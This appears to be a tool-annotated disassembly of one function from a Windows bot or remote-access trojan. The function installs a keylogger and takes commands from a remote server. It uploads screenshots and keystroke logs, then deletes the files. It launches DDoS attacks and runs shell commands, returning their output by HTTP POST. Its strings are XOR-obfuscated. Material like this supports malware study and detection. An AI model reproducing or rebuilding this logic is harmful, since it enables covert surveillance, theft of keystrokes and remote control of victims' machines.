Function at 0x6ff8ef70
Capabilities:
Create thread
Delete file
Encode data using xor
Query environment variable

Disassembly:
lea r10, [rsp + 8]
and rsp, 0xffffffffffffffe0
mov eax, 0x1210
push qword [r10 - 8]
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push r10
push rdi
push rsi
push rbx
call fcn.6ff82780
sub rsp, rax
call sym.main.exe_blitz_authenticate__
mov rbx, qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
xor ecx, ecx
mov qword [rbp - 0x11d8], rax
xor r9d, r9d
lea r8, [sym.main.exe_blitz_install_keylogger_void_]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [sym.main.exe_blitz_restart_handler_void_]
mov r9, qword [rbp - 0x11d8]
call rbx
mov r8, qword [rbp - 0x11d8]
mov rdx, qword [sym.main.exe_blz_logfile]
lea rcx, str.LogFile:__s_nBot_Auth:__s_n
call sym.main.exe_printf_char_const__::_
lea rax, [rbp - 0x83b]
mov qword [rbp - 0x11f0], rax
movabs rax, 0x4549755e4f4d052a
mov byte [rbp - 0x844], 0
mov rbx, rsp
lea rdx, [rbp - 0x845]
mov qword [rbp - 0x854], rax
movabs rax, 0x590f054e444b4747
mov qword [rbp - 0x84c], rax
lea rax, [rbp - 0x854]
mov r12, rax
xor byte [rax + 1], 0x2a
inc rax
cmp rax, rdx
jne 0x6ff8f059
mov r8, qword [rbp - 0x11d8]
lea r13, [rbp - 0x853]
lea r15, [rbp - 0x954]
mov byte [rbp - 0x844], 0
mov rdx, r13
mov rcx, r15
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rbp - 0x83a], 0
movabs rax, 0x782d2d2f3c222655
mov qword [rbp - 0x854], rax
movabs rax, 0x303b782f213c3937
mov word [rbp - 0x83c], 0x3036
mov qword [rbp - 0x84c], rax
movabs rax, 0x3425267b333d7b21
mov qword [rbp - 0x844], rax
mov rax, r12
xor byte [rax + 1], 0x55
inc rax
cmp rax, qword [rbp - 0x11f0]
jne 0x6ff8f0d2
lea rsi, [rbp - 0x990]
mov rdx, r15
mov rcx, r13
mov byte [rbp - 0x83a], 0
mov r8, rsi
call sym.main.exe_http_get_request_char_const__char_const__char_
cmp eax, 0x194
jne 0x6ff8f122
mov rcx, qword [rbp - 0x990]
call sym.main.exe_http_free_char_
mov rcx, qword [rbp - 0x11d8]
call sym.main.exe_http_free_char_
call sym.main.exe_blitz_restart__
mov byte [rbp - 0x849], 0
movabs rax, 0x4558535344554536
lea rdx, [rbp - 0x84a]
mov word [rbp - 0x84c], 0x595e
mov byte [rbp - 0x84a], 0x42
mov qword [rbp - 0x854], rax
mov rax, r12
xor byte [rax + 1], 0x36
inc rax
cmp rax, rdx
jne 0x6ff8f154
mov r14, qword [rbp - 0x990]
mov rdx, r13
mov byte [rbp - 0x849], 0
mov rcx, r14
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6ff8f340
mov rcx, r14
call sym.main.exe_http_free_char_
mov byte [rbp - 0x840], 0
movabs rax, 0x8241f151e08547b
lea rdx, [rbp - 0x841]
mov dword [rbp - 0x844], 0x85e540f
mov qword [rbp - 0x854], rax
movabs rax, 0x141308151e1e0918
mov qword [rbp - 0x84c], rax
mov rax, r12
xor byte [rax + 1], 0x7b
inc rax
cmp rax, rdx
jne 0x6ff8f1c6
mov r8, qword [rbp - 0x11d8]
mov rdx, r13
mov rcx, r15
mov byte [rbp - 0x840], 0
lea r14, [rbp - 0x988]
call sym.main.exe_sprintf_char__char_const__::_
lea rcx, str.Yay__Screenshot__n
call sym.main.exe_printf_char_const__::_
mov edx, 0x18
mov rcx, r14
call sym.main.exe_blitz_rand_string_char__int_
mov byte [rbp - 0x991], 0
lea rax, [rbp - 0x996]
lea rdx, [rbp - 0x992]
mov dword [rbp - 0x996], 0xb031246
mov byte [rbp - 0x992], 0x16
xor byte [rax + 1], 0x46
inc rax
cmp rax, rdx
jne 0x6ff8f231
lea rcx, [rbp - 0x995]
mov byte [rbp - 0x991], 0
call sub.msvcrt.dll_getenv
mov byte [rbp - 0x969], 0
lea rdx, [rbp - 0x96f]
mov dword [rbp - 0x96f], 0x59762005
mov r8, rax
mov rdi, rdx
lea rax, [rbp - 0x96a]
mov word [rbp - 0x96b], 0x7620
xor byte [rdx + 1], 5
inc rdx
cmp rdx, rax
jne 0x6ff8f27e
lea r13, [rbp - 0x96e]
mov r9, r14
mov rcx, r12
mov byte [rbp - 0x969], 0
mov rdx, r13
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r12
call sym.main.exe_blitz_screenshot_char_const_
mov byte [rbp - 0x955], 0
movabs rax, 0x6535351425c582b
lea rdx, [rbp - 0x956]
mov qword [rbp - 0x96f], rax
movabs rax, 0x4e4506515f424749
mov word [rbp - 0x957], 0x4e48
mov qword [rbp - 0x967], rax
movabs rax, 0x4a5b58054d43055f
mov qword [rbp - 0x95f], rax
mov rax, rdi
xor byte [rax + 1], 0x2b
inc rax
cmp rax, rdx
jne 0x6ff8f2fb
mov r9, rsi
mov r8, r12
mov rdx, r15
mov rcx, r13
mov byte [rbp - 0x955], 0
call sym.main.exe_http_upload_file_char_const__char_const__char_const__char_
mov rdx, qword [rbp - 0x990]
lea rcx, str.Uploaded__response:__s_n
call sym.main.exe_printf_char_const__::_
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x6ff8f8da
mov byte [rbp - 0x84c], 0
lea rdx, [rbp - 0x84d]
movabs rax, 0x7f627a6b766a640f
mov qword [rbp - 0x854], rax
mov rax, r12
xor byte [rax + 1], 0xf
inc rax
cmp rax, rdx
jne 0x6ff8f362
mov rdx, r13
mov rcx, r14
mov byte [rbp - 0x84c], 0
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6ff8f4e2
mov rcx, r14
call sym.main.exe_http_free_char_
mov byte [rbp - 0x846], 0
movabs rax, 0x7f4b707a71673b14
lea rdx, [rbp - 0x847]
mov dword [rbp - 0x84c], 0x3b676d71
mov word [rbp - 0x848], 0x6731
mov qword [rbp - 0x854], rax
mov rax, r12
xor byte [rax + 1], 0x14
inc rax
cmp rdx, rax
jne 0x6ff8f3c5
mov r8, qword [rbp - 0x11d8]
mov rdx, r13
mov rcx, r15
mov byte [rbp - 0x846], 0
call sym.main.exe_sprintf_char__char_const__::_
lea rcx, str.Yay__Keydump__n
call sym.main.exe_printf_char_const__::_
mov rcx, qword [sym.main.exe_blz_logfile]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov rdi, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov edx, 0x80000000
mov r8d, 1
mov dword [rsp + 0x20], 3
call rdi
mov rcx, rax
cmp rax, 0xffffffffffffffff
je 0x6ff8f8ee
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x55000002110f0b78
mov byte [rbp - 0x83a], 0
mov qword [rbp - 0x854], rax
movabs rax, 0x1d1655020c11141a
mov qword [rbp - 0x84c], rax
movabs rax, 0x19080b561e10560c
mov qword [rbp - 0x844], rax
mov word [rbp - 0x83c], 0x1d1b
xor byte [r12 + 1], 0x78
inc r12
cmp r12, qword [rbp - 0x11f0]
jne 0x6ff8f483
mov r8, qword [sym.main.exe_blz_logfile]
mov r9, rsi
mov rdx, r15
mov rcx, r13
mov byte [rbp - 0x83a], 0
call sym.main.exe_http_upload_file_char_const__char_const__char_const__char_
mov rdx, qword [rbp - 0x990]
lea rcx, str.Uploaded__response:__s_n
call sym.main.exe_printf_char_const__::_
mov rcx, qword [rbp - 0x990]
call sym.main.exe_http_free_char_
mov rcx, qword [sym.main.exe_blz_logfile]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x6ff8f8e6
mov byte [rbp - 0x84e], 0
mov rax, r12
lea rdx, [rbp - 0x84f]
mov dword [rbp - 0x854], 0x5f545430
mov word [rbp - 0x850], 0x1043
xor byte [rax + 1], 0x30
inc rax
cmp rax, rdx
jne 0x6ff8f506
mov r8d, 5
mov rdx, r13
mov rcx, r14
mov byte [rbp - 0x84e], 0
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x6ff8f5a9
mov byte [rbp - 0x965], 0
lea rdx, [rbp - 0x966]
movabs rax, 0x590a4d4b49485c79
mov word [rbp - 0x967], 0x1d5c
mov qword [rbp - 0x96f], rax
lea rax, [rbp - 0x96f]
xor byte [rax + 1], 0x79
inc rax
cmp rdx, rax
jne 0x6ff8f55d
lea rcx, [r14 + 5]
lea r9, [rbp - 0x54]
mov r8, r12
mov rsi, r12
lea rdx, [rbp - 0x96e]
mov byte [rbp - 0x965], 0
lea rdi, [rbp - 0x11d0]
call sym.main.exe_sscanf_char_const__char_const__::_
mov ecx, 0x201
rep movsd dword [rdi], dword [rsi]
lea rcx, [rbp - 0x11d0]
call sym.main.exe_blitz_ddos_ddos_t_
jmp 0x6ff8f8da
mov r8d, 3
mov rdx, r13
mov rcx, r14
mov byte [rbp - 0x854], 0x2f
mov dword [rbp - 0x853], 0x206463
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x6ff8f6ab
mov ecx, 0x14
call sub.msvcrt.dll_malloc
lea rcx, [r14 + 3]
mov qword [rbp - 0x11e0], rax
call sub.msvcrt.dll__chdir
test eax, eax
jne 0x6ff8f64b
mov byte [rbp - 0x95e], 0
lea rdx, [rbp - 0x95f]
movabs rax, 0x7e775c3f4234441f
mov byte [rbp - 0x95f], 0x15
mov qword [rbp - 0x96f], rax
movabs rax, 0x6d767b3f7b7a7871
mov qword [rbp - 0x967], rax
lea rax, [rbp - 0x96f]
xor byte [rax + 1], 0x1f
inc rax
cmp rax, rdx
jne 0x6ff8f62f
mov byte [rbp - 0x95e], 0
lea rdx, [rbp - 0x96e]
jmp 0x6ff8f69d
mov byte [rbp - 0x842], 0
lea rdx, [rbp - 0x843]
movabs rax, 0x272f086e1363154e
mov word [rbp - 0x844], 0x442a
mov qword [rbp - 0x854], rax
movabs rax, 0x2d6e213a6e2a2b22
mov qword [rbp - 0x84c], rax
mov rax, r12
xor byte [rax + 1], 0x4e
inc rax
cmp rax, rdx
jne 0x6ff8f687
mov byte [rbp - 0x842], 0
mov rdx, r13
mov rcx, qword [rbp - 0x11e0]
call sub.msvcrt.dll_strcpy
jmp 0x6ff8f6ba
mov rcx, r14
call sym.main.exe_blitz_execute_char_
mov qword [rbp - 0x11e0], rax
mov r8, qword [rbp - 0x11e0]
mov rdx, qword [rbp - 0x990]
lea rcx, str.cmd:__s_noutput:__s_n_n
call sym.main.exe_printf_char_const__::_
xor edx, edx
xor ecx, ecx
call sub.msvcrt.dll__getcwd
mov rcx, rax
mov qword [rbp - 0x11f8], rax
call sym.main.exe_base64_encode_char_const_
cmp qword [rbp - 0x11e0], 0
lea rcx, [0x6ff9502f]
cmovne rcx, qword [rbp - 0x11e0]
mov r14, rax
call sym.main.exe_base64_encode_char_const_
or r9, 0xffffffffffffffff
mov rdi, r14
mov qword [rbp - 0x11e8], rax
mov rcx, r9
xor eax, eax
repne scasb al, byte [rdi]
mov rdi, qword [rbp - 0x11e8]
mov rdx, rcx
mov rcx, r9
repne scasb al, byte [rdi]
not rdx
mov rax, rcx
not rax
lea rax, [rdx + rax + 0x4d]
shr rax, 4
shl rax, 4
call fcn.6ff82780
mov r8, qword [rbp - 0x11f8]
mov rcx, r8
sub rsp, rax
call sym.main.exe_blitz_free_void_
mov rcx, qword [rbp - 0x11e0]
lea rdi, [rsp + 0x40]
call sym.main.exe_blitz_free_void_
mov rcx, qword [rbp - 0x990]
call sym.main.exe_http_free_char_
mov byte [rbp - 0x845], 0
movabs rax, 0x78625279687e220d
lea rdx, [rbp - 0x846]
mov dword [rbp - 0x84c], 0x79787d79
mov word [rbp - 0x848], 0x2822
mov byte [rbp - 0x846], 0x7e
mov qword [rbp - 0x854], rax
mov rax, r12
xor byte [rax + 1], 0xd
inc rax
cmp rax, rdx
jne 0x6ff8f7b5
mov r8, qword [rbp - 0x11d8]
mov rdx, r13
mov rcx, r15
mov byte [rbp - 0x845], 0
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rbp - 0x836], 0
movabs rax, 0x171216170d401962
lea rdx, [rbp - 0x837]
mov qword [rbp - 0x854], rax
movabs rax, 0x4011474042584016
mov dword [rbp - 0x83c], 0x11474042
mov word [rbp - 0x838], 0x1f40
mov qword [rbp - 0x84c], rax
movabs rax, 0x584006150140424e
mov qword [rbp - 0x844], rax
mov rax, r12
xor byte [rax + 1], 0x62
inc rax
cmp rax, rdx
jne 0x6ff8f831
mov r8, qword [rbp - 0x11e8]
mov r9, r14
mov rdx, r13
mov rcx, rdi
mov byte [rbp - 0x836], 0
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rbp - 0x83a], 0
movabs rax, 0x57020200130d097a
mov qword [rbp - 0x854], rax
movabs rax, 0x1f1457000e131618
mov qword [rbp - 0x84c], rax
movabs rax, 0x1b0a09541c12540e
mov qword [rbp - 0x844], rax
mov word [rbp - 0x83c], 0x1f19
xor byte [r12 + 1], 0x7a
inc r12
cmp qword [rbp - 0x11f0], r12
jne 0x6ff8f89c
mov r9, rsi
mov r8, rdi
mov rdx, r15
mov rcx, r13
mov byte [rbp - 0x83a], 0
call sym.main.exe_http_post_request_char_const__char_const__char_const__char_
mov rcx, r14
call sym.main.exe_base64_free_char_
mov rcx, qword [rbp - 0x11e8]
call sym.main.exe_base64_free_char_
mov rcx, qword [rbp - 0x990]
call sym.main.exe_http_free_char_
mov rsp, rbx
jmp 0x6ff8f01c
mov rcx, qword [sym.main.exe_blz_logfile]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 1
call rdi
mov rcx, rax
cmp rax, 0xffffffffffffffff
jne 0x6ff8f43a
jmp 0x6ff8f440